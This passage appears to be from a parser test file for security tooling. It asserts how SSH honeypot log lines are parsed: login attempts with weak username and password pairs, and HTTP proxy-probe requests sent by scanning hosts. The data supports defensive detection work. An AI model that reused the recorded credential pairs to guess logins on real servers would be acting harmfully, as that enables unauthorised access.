results["s01-parse"]["thespad/sshesame-logs"][325].Success == false results["s01-parse"]["thespad/sshesame-logs"][326].Success == false results["s01-parse"]["thespad/sshesame-logs"][327].Success == false results["s01-parse"]["thespad/sshesame-logs"][328].Success == false results["s01-parse"]["thespad/sshesame-logs"][329].Success == true results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Parsed["sshesame_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Parsed["timestamp"] == "2022/05/06 14:56:35" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Parsed["message"] == "2022/05/06 14:56:35 [1.7.180.245:44604] authentication for user \"admin\" with password \"1234567\" accepted" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Parsed["source_ip"] == "1.7.180.245" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Parsed["sshesame_password"] == "1234567" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Meta["source_ip"] == "1.7.180.245" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Meta["target_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][329].Evt.Meta["username"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][330].Success == false results["s01-parse"]["thespad/sshesame-logs"][331].Success == false results["s01-parse"]["thespad/sshesame-logs"][332].Success == false results["s01-parse"]["thespad/sshesame-logs"][333].Success == true results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Parsed["timestamp"] == "2022/05/06 15:35:00" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Parsed["message"] == "2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][333].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][334].Success == true results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Parsed["timestamp"] == "2022/05/06 15:35:00" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Parsed["message"] == "2022/05/06 15:35:00 [45.82.65.44:42736] [channel 31] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][334].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][335].Success == false results["s01-parse"]["thespad/sshesame-logs"][336].Success == false results["s01-parse"]["thespad/sshesame-logs"][337].Success == false results["s01-parse"]["thespad/sshesame-logs"][338].Success == false results["s01-parse"]["thespad/sshesame-logs"][339].Success == false results["s01-parse"]["thespad/sshesame-logs"][340].Success == true results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Parsed["timestamp"] == "2022/05/06 15:38:52" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][340].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][341].Success == false results["s01-parse"]["thespad/sshesame-logs"][342].Success == false results["s01-parse"]["thespad/sshesame-logs"][343].Success == true results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Parsed["timestamp"] == "2022/05/06 15:38:52" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Parsed["message"] == "2022/05/06 15:38:52 [195.3.147.60:39075] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][343].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][344].Success == false results["s01-parse"]["thespad/sshesame-logs"][345].Success == false results["s01-parse"]["thespad/sshesame-logs"][346].Success == true results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Parsed["source_ip"] == "65.108.254.28" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Parsed["sshesame_password"] == "1234qwer" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Parsed["timestamp"] == "2022/05/06 15:40:33" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39092] authentication for user \"root\" with password \"1234qwer\" accepted" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Meta["source_ip"] == "65.108.254.28" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][346].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][347].Success == false results["s01-parse"]["thespad/sshesame-logs"][348].Success == true results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Parsed["timestamp"] == "2022/05/06 15:40:33" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Parsed["message"] == "2022/05/06 15:40:33 [65.108.254.28:39098] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Parsed["source_ip"] == "65.108.254.28" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Meta["source_ip"] == "65.108.254.28" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][348].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][349].Success == false results["s01-parse"]["thespad/sshesame-logs"][350].Success == false results["s01-parse"]["thespad/sshesame-logs"][351].Success == false results["s01-parse"]["thespad/sshesame-logs"][352].Success == false results["s01-parse"]["thespad/sshesame-logs"][353].Success == false results["s01-parse"]["thespad/sshesame-logs"][354].Success == false results["s01-parse"]["thespad/sshesame-logs"][355].Success == true results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Parsed["sshesame_password"] == "aisadmin" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Parsed["sshesame_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Parsed["timestamp"] == "2022/05/06 15:41:33" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Meta["target_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Meta["username"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][355].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][356].Success == false results["s01-parse"]["thespad/sshesame-logs"][357].Success == false results["s01-parse"]["thespad/sshesame-logs"][358].Success == true results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Parsed["timestamp"] == "2022/05/06 15:41:33" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][358].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][359].Success == false results["s01-parse"]["thespad/sshesame-logs"][360].Success == false results["s01-parse"]["thespad/sshesame-logs"][361].Success == true results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Parsed["message"] == "2022/05/06 15:41:33 [195.3.147.60:33414] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Parsed["timestamp"] == "2022/05/06 15:41:33" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][361].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][362].Success == false results["s01-parse"]["thespad/sshesame-logs"][363].Success == false results["s01-parse"]["thespad/sshesame-logs"][364].Success == false results["s01-parse"]["thespad/sshesame-logs"][365].Success == true results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Parsed["message"] == "2022/05/06 15:44:30 [190.2.139.67:58629] [channel 151] input: \"GET /?requestid=57232 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Parsed["sshesame_input"] == "GET /?requestid=57232 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Parsed["timestamp"] == "2022/05/06 15:44:30" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Meta["input"] == "GET /?requestid=57232 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][365].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][366].Success == false results["s01-parse"]["thespad/sshesame-logs"][367].Success == false results["s01-parse"]["thespad/sshesame-logs"][368].Success == true results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Parsed["timestamp"] == "2022/05/06 16:16:45" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Parsed["message"] == "2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][368].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][369].Success == true results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Parsed["timestamp"] == "2022/05/06 16:16:45" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Parsed["message"] == "2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][369].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][370].Success == false results["s01-parse"]["thespad/sshesame-logs"][371].Success == false results["s01-parse"]["thespad/sshesame-logs"][372].Success == true results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Parsed["message"] == "2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Parsed["timestamp"] == "2022/05/06 16:28:03" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][372].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][373].Success == true results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Parsed["message"] == "2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Parsed["timestamp"] == "2022/05/06 16:28:03" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][373].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][374].Success == false results["s01-parse"]["thespad/sshesame-logs"][375].Success == false results["s01-parse"]["thespad/sshesame-logs"][376].Success == true results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Parsed["sshesame_input"] == "GET /?requestid=44562 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Parsed["timestamp"] == "2022/05/06 16:33:02" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Parsed["message"] == "2022/05/06 16:33:02 [190.2.139.67:58629] [channel 153] input: \"GET /?requestid=44562 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Meta["input"] == "GET /?requestid=44562 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][376].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][377].Success == false results["s01-parse"]["thespad/sshesame-logs"][378].Success == false results["s01-parse"]["thespad/sshesame-logs"][379].Success == true 